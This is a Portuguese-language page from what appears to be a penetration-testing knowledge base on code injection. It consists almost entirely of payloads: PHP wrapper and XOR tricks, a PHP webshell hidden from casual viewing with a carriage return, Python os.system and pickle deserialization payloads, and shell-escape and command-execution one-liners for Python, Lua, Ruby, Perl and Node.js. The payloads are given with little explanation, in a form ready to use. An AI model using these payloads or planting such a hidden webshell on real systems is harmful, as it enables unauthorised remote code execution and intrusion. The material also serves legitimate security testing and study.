> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/injections/code-injection.md).

# Code Injection

### PHP

#### XOR

Podemos inserir caracteres utilizando XOR. Por exemplo, caractere `M`, é o equivalente a expressão `"0"^"}"`. Então, para escrevermos `$_GET`, podemos utilizar a seguinte expressão:

```
php -r 'echo "`{{{"^"?<>/";'
```

#### Inserindo Comandos via Wrappers

Executando comandos

```bash
vuln.php?page=expect://ls
/example/?page=php://input&cmd=ls
```

#### Ocultando Caracteres

```javascript
echo -e "<?=\`\$_POST[1]\`?>\r<?='Test';?>" > <file.php>
```

Perceba que, se ler o conteúdo do arquivo gerado com o comando acima, você irá ver somente `<?='PHP Test';?>`, porém com o `strings` ou algum editor como o `Sublime Text`, é possível ver o seu conteúdo completo.

#### phar

Sempre que ver algum arquivo sendo chamado utilizando o phar, por exemplo `md5_file('phar:///path/to/file');`, é  possível inserirmos um arquivo phar malicioso.

### Python

#### Inject

Caso seja possível inserir comandos em Python via web, podemos utilizar o comando abaixo. Caso o comando tenha sucesso, será retornado `0` e caso tenha falha, retornará algum número como `32512`, significando que o processo retornou `127` (comando não encontrado).

```python
str(os.system('<command>'))
```

{% hint style="warning" %}
**ATENÇÃO:** O módulo **`os`** só irá funcionar, caso o alvo já tenha realizado a sua importação com o comando **`import os`**. Caso receba erro, utilize **`__import__('os').system('<command>')`** ao invés de **`os.system('<command>')`**
{% endhint %}

Caso queria ver o retorno do código, podemos utilizar o seguinte comando:

```python
str(os.popen("<command>").read())
```

Tente também inserir comandos que estejam com algum encode, por exemplo, `base64`. Assim podemos inserir comandos no seguinte formato:

```python
__import__('base64').b64decode('<command>')
```

**Pegando Bash**

```python
python -c 'import os ; os.system("/bin/bash")'
python -c 'import os ; os.system("/bin/sh")'
python -c 'from subprocess import call ; call(["/bin/bash"])'
```

#### KShell

Caso esteja preso em um `kshell` (shell com comandos limitados), utilize o comando abaixo para sair da shell limitada e acessar como usuário comum:

```python
echo os.system('/bin/bash')
```

Caso não dê certo, digite os comandos abaixo:

```python
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
```

#### Pickles

```python
import cPickle, os
class Blah(object):
        def __reduce__(self):
                return (os.system,("<command>",))
b=Blah()
print cPickle.dumps(b)
```

```javascript
import pickle, base64, os
class Blah(object):
        def __reduce__(self):
                return (os.system,("<command>",))
p=pickle.dumps(Blah())
print(base64.b64encode(p))
```

```javascript
import pickle, base64, subprocess
class User(object):
	def __reduce__(self):
		return (self.__class__, (subprocess.check_output(["id"]), ))
	def __init__(self, name):
		self.name = name
user = User("Mysther")
print(base64.b64encode(pickle.dumps(user)))
```

### LUA

```javascript
lua -e 'os.execute("/bin/sh")'
os.execute("/bin/sh")
```

### Ruby

#### Execução Única

```ruby
ruby -e 'puts `<command>`'
```

#### REPL

Execute o comando abaixo

```ruby
ruby -e 'require "irb" ; IRB.start(__FILE__)'
```

Com isso irá abrir uma sessão no terminal semelhante a isso `irb(main):001:0>`.\
Agora execute comandos em volta do caractere `` ` ``, exemplo:&#x20;

```
`/bin/bash`
```

###

### Perl

Lendo Arquivos do SO

```perl
perl -e 'print `/bin/bash`'
perl -e 'print `cat </path/file>`'

# Ou
open (CHECKBOOK, "</path/file>") || die "couldn't open the file!";
while ($record = <CHECKBOOK>) {
  print $record;
}
close(CHECKBOOK);
```

{% hint style="warning" %}
**ATENÇÃO:**\
Atente-se as aspas. No comando acima, utilizamos aspas simples, pois se usarmos aspas duplas, irá nos dar um erro de acesso (caso esteja usando um **`sudo`** para utilizar privilégios de outro usuário). Isso acontece devido a ordem de execução do comando.
{% endhint %}

###

### NodeJS

```javascript
node -e 'var exec = require("child_process").exec; exec("<command>", function (error, stdOut, stdErr) { console.log(stdOut); });'
```